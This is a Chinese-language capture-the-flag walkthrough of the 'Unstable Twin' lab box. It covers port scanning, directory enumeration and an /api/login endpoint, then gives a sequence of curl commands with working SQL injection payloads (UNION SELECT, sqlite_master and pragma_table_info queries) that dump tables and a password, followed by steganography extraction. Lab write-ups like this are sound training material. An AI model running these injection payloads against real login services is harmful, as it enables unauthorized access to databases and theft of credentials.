Skip to main content

Unstable Twin

端口扫描

root@ip-10-10-80-215:~# nmap -sTCV -p- --min-rate 1000 10.10.150.71

Starting Nmap 7.60 ( https://nmap.org ) at 2023-10-05 06:38 BST
Nmap scan report for ip-10-10-150-71.eu-west-1.compute.internal (10.10.150.71)
Host is up (0.00052s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
| 3072 ba:a2:40:8e:de:c3:7b:c7:f7:b3:7e:0c:1e:ec:9f:b8 (RSA)
| 256 38:28:4c:e1:4a:75:3d:0d:e7:e4:85:64:38:2a:8e:c7 (ECDSA)
|_ 256 1a:33:a0:ed:83:ba:09:a5:62:a7:df:ab:2f:ee:d0:99 (EdDSA)
80/tcp open http nginx 1.14.1
|_http-server-header: nginx/1.14.1
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
MAC Address: 02:49:04:07:5C:FB (Unknown)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 136.47 seconds

80

root@ip-10-10-80-215:~# gobuster dir -u http://10.10.150.71/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.150.71/
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: html,php,txt
[+] Timeout: 10s
===============================================================
2023/10/05 06:41:02 Starting gobuster
===============================================================
/info (Status: 200)
===============================================================
2023/10/05 07:30:45 Finished
===============================================================

当我访问 /info 时页面返回一些内容, 其告诉我们存在一个 api 其对应的功能是登陆, 并且也告诉我们其对应的参数以及服务端没有经过测试比较混乱

image-20240709181404982

因为之前并没有枚举出什么内容所以再次枚举, 我们可以发现一个 api 根据登陆盲猜估计是 /api/login

image-20240709181410659


如果你观察够细致你会发现你没两次请求返回的内容是完全不同的, 请看 Burp 响应, 这说明服务端应该存在某种切换模式一次正常一次异常, 这会带来的影响是我们没有办法基于此来进行 sqlmap 和 目录枚举

image-20240709181418261


访问我们的 /api/login , 使用 POST 请求, 我们可以从两次请求中看出不同, 因为是登陆请求, 所以我们可以尝试 sqli

image-20240709181425456

root@ip-10-10-20-92:~/unstabletwin# curl  http://10.10.150.71/api/login -X POST -d "username=admin' or 1=1 -- -&password=12345"  # 使用此我们可以读取数据表的所有内容
root@ip-10-10-20-92:~/unstabletwin# curl http://10.10.150.71/api/login -X POST -d "username=vincent'UNION SELECT 1,2 -- -&password=12345" # 使用 UNION 联合注入
root@ip-10-10-20-92:~/unstabletwin# curl http://10.10.150.71/api/login -X POST -d "username=vincent'UNION SELECT 1,sqlite_version() -- -&password=12345" # 使用此确定了 sqlite 的数据库
root@ip-10-10-20-92:~/unstabletwin# curl http://10.10.150.71/api/login -X POST -d "username=vincent'UNION SELECT 1,name FROM sqlite_master WHERE type='table'-- -&password=12345" # 获取所有数据表名
root@ip-10-10-20-92:~/unstabletwin# curl http://10.10.150.71/api/login -X POST -d "username=vincent'UNION SELECT 1, group_concat(name, ', ') FROM pragma_table_info('notes') -- -&password=12345" # 使用此来获取指定数据表的数据列名

按照上面的操作, 我们最终:

  • notes : 得到一个密码, 可以解密得到密码

    image-20240709181435234

  • users : 获取到所有的用户

后渗透

mary_ann

使用得到的密码进行尝试最终发现是 mary_ann 用户的密码

image-20240709181448292

maty_ann —> end

这道题没有 root 提权, 在用户家目录中有一个文件, 告诉我们找到其全家的用户, 并提醒我们可以根据名字查找, 我第一次没有找到因为没有忽略大小写, 但是我在 opt 目录遍历时, 还是发现了网站的执行文件, 并且发现多个照片, 我感觉存在文件隐写就全部下载到本地

image-20240709181501081

进行逐个尝试最终获取到所有的隐藏内容, (没有密码加密)

image-20240709181507575

阅读后其中 linda.txt 告诉我按照彩虹进行编号, 所以查看隐藏文件后我进行了解密从而获取到了 root flag CyberChef